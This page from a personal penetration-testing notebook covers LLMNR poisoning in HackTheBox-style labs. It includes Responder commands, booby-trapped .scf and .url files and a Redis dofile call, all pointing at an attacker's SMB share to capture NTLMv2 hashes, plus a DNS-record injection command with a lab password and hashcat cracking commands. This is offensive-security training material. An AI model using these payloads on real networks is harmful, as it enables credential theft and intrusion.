Methodology
  • πŸ˜ƒWelcome
    • Bullet Proof Strategy
    • πŸ‘οΈEnumeration
      • πŸ‘οΈβ€πŸ—¨οΈπŸ‘πŸ—¨ Enumeration Cheatsheet
      • SNMP Enumeration
      • IRC Enumeration
      • LDAP Enumeration
      • RPC Enumeration
      • DNS Enumeration
      • Rsync Enumeration
      • IDENT Enumeration
      • SMB Enumeration
        • Copy of SMBPass Change
      • Web Enumeration
        • Methodology
        • Enumerating Patterns Trick
      • Kerberos Enumeration
    • πŸ‘ΊExploitation
      • Passwords Attacks
        • Decrypting VNC passwords
        • Decrypting Jenkins passwords
        • MongoDB Decryption
      • Web Applications
        • My little cheatsheet
        • Login Portal Strat
        • SQL injection
        • Local File Inclusion
        • WebDav
        • Wordpress
        • phpmyadmin
        • Bypassing Proxies
        • Node.Js Command Injection
        • Weak Cookies and Parameters
        • PHP Web Shells
        • Code Injection
        • Werkzeug
        • Collection of Vulnerable Apps
          • RaspAP 2.5 Authenticated RCE
          • ZenPhoto 1.4.1.4 RCE
          • Sonatype Nexus 3.21.1
          • Argus Surveillance DVR 4.0
          • SmarterMail + .Net Remote
          • H2 Web Console
          • Exhibitor for Zookeper (Exhibitor Web)
          • Subrion 4.2.1
          • RestStack API 3100
          • Kibana 5.6.15 < 6.6.1
          • Authenticated NodeBB Plugin Emoji 3.2.1
        • Discovering Hidden Parameters
        • πŸ•΄οΈJenkins
      • Vulnerable Services
        • Authenticated MSSQL Shell
        • Authenticated PostgresSQL
        • Authenticated MongoDB
        • ClamAV - Milter 0.91.2
        • Unreal Tournament 99
        • MS17-10 Eternal Blue
        • REDIS Exploitation
        • OpenSMTPD < 6.6.2
        • James Adminitrator Remoting 2.3.2
      • Client Side Attacks
        • .ODT File Macros
      • Evil-WinRM
      • Methodology
      • Reversing
        • .net binaries
      • Enumerating Firewall
    • πŸ‘½Privilege Escalation
      • Windows
        • Enumeration
        • Enumerate Permissions on Folders and Binaries
          • Insecure File Permissions
          • Modifiable Binary Path
          • Unquoted Service Path
        • Meterpreter Session Injection /Migration
        • ⏲️Scheduled Apps (CronJobs)
        • πŸ₯”Impersonation Attacks
        • πŸ—’οΈDLL Hijacking
        • Passwords
          • Runas
            • Runas but Powershell
          • Autologon Credentials
        • AlwaysInstallElevated
        • Windows XP SP0/SP1
        • W10 Version 1803
        • Windows Vista x86 SP1
        • πŸ‘»SMB Ghost
        • Local Service / Network Service Users
        • Dangerous Privileges
          • SeLoadDriver Privilege
          • SeRestore Privilege
          • πŸ₯”SeImpersonatePrivilege
          • SeBackUp Privilege
        • Bypassing AV
        • Port Forwarding to access Internal services
        • Start Up Apps
        • Other Users
        • Resources
        • M16-032
        • Upgrading Powershell to Meterpreter
      • Linux
        • Enumerating SUID binaries
          • Find SUID
          • CP SUID
          • dosbox SUID
          • start-stop-daemon SUID
          • gcore SUID
        • Fail2Ban Group
        • Upgrading TTY Shells
        • Git Repository
        • Escaping RBASH
        • Docker
        • Init, Init.d , systemd
        • Shared Objects .so Hijacking
        • Sudo Version - CVE 2021-4034
        • Tar Wilcard Injection
        • Tips to become root
        • Python based applications escalation
        • Internal Services
          • mySQL
            • MySQL User Defined Function
        • Writable Passwd
        • Exiftool Priv Esc
        • Glusterd + Docker Container Breakout
        • choom
        • Slack
      • File Transfer Methods
        • Windows
        • Linux
      • Pivoting
    • πŸ’€Elevated Post Exploitation
    • 🟦Active Directory
      • Attack Vectors
        • LLMNR Poisoning
        • ASREPRoast
        • Spraying
          • SMBPass Change
        • Building Userbase
        • NTLM Relay Attack
        • IPv6 Takeover
      • Post Exploitation - Enumeration
        • Bloodhound
        • Enumeration - Powerview
      • Exploitation
        • Kerberoasting
        • GMSA Password Read
        • Account Operators
        • WriteDACL over DCSync
        • GenericWrite GPO
        • PS-Remoting
        • LAPS Password Read
        • Abusing ACLs
          • GenericWrite/GenericAll/AllExtendedRights over Users
        • Groups.xml
        • Azure AD Sync Dump
        • AD Recycle Bin Group
        • Get-ChangesAll
        • WriteOwner Over Domain Admins
        • Allowed to Delegate To:
        • Force Change Password
      • Resources
    • 😎Walkthroughs
      • πŸͺ¨Proving Grounds
      • πŸ“—Hack The Box
        • Windows
        • Linux
    • Cert Pictures :)
    • 🐍Python Lessons
      • Jenkins Script Groovy Console Exploit in Python
      • Kerbrute Automation
    • 🐚Bash Lessons
    • C# Programming
      • Process Injection Code
Powered by GitBook
On this page
  • Responder:
  • Cracking NTLMv2
  1. Welcome
  2. Active Directory
  3. Attack Vectors

LLMNR Poisoning

We basically poison DNS so that whenever the router does not know where to forward a connection to, it will forward it to us.

Responder:

responder -I <tun0> -dw

##This will capture NTMLv2 Hashes that can cracked with hashcat.

Different strategies to get NTLMv2 Hashes:

If there is anywhere where we can upload a file and they allow .scf files it means we can replace the file to callback to our SMB share being hosted by Responder which we can then crack.

SCF files and URL files:

SCF:

[Shell]
Command=2
IconFile=\\10.10.16.5\home\kali\driver.scf
[Taskbar]
Command=ToggleDesktop

URL:

batcat not-virus.url
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: not-virus.url
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   β”‚ [InternetShortcut]
   2   β”‚ URL=anything
   3   β”‚ WorkingDirectory=anything
   4   β”‚ IconFile=\\192.168.49.100\%USERNAME%.icon
   5   β”‚ IconIndex=1
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────

Notice the SMB share, we should switch the IP to the corresponding one.

SSRF + Responder

Server-Side request forgery, allows an attacker to "induce" the application to make requests to places that it was intended to.

Here the application was some sort of Web Browser that allowed us intercept the traffic by pointing the website to make a request to our webserver using Responder.

Notice that when we provided the application with the url of our webserver on port 80 (ofc since https is encrypted we wont be able to do this). We were able to take advantage of the SSRF.

Redis

redis-cli -h VICTIM-p 6379 eval "dofile('//10.6.114.131//share')" 0

Same concept here, if we can point redis to point to our SMB share we will be able to capture hashes as well.

Poisoning DNS and Default Cred Web request

During the machine called Intelligence from HackTheBox I was able to capture a hash because the user was making a request to all the websevers that started with the word "web"

More of the script that the user was using to authenticate was this:

──────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: downdetector.ps1   <UTF-16LE>
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   β”‚ # Check web server status. Scheduled to run every 5min
   2   β”‚ Import-Module ActiveDirectory 
   3   β”‚ foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
   4   β”‚ try {
   5   β”‚ $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
   6   β”‚ if(.StatusCode -ne 200) {
   7   β”‚ Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
   8   β”‚ }
   9   β”‚ } catch {}
  10   β”‚ }

We can use the requests its making to the webservers that start with the name web*

If we have valid credentials to the domain we can start our own and poison dns so that our own webserver starts with that name and we can capture the hash of the user Ted Graves.

// python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -r weblyethar -a add -t A -d 10.10.14.7 10.10.10.248

Notice that the -d is for us to provide our IP and then the IP of our target.

Cracking NTLMv2

hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 5600 hash.txt rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule

Examples of LLMNR Poisoning and Responder Action.

Driver HTB

PreviousAttack VectorsNextASREPRoast

Last updated 2 years ago

(Heist)

πŸ˜ƒ
🟦
https://app.gitbook.com/s/8orEMrbW2JUz78N6Vl5G/enumeration/web-services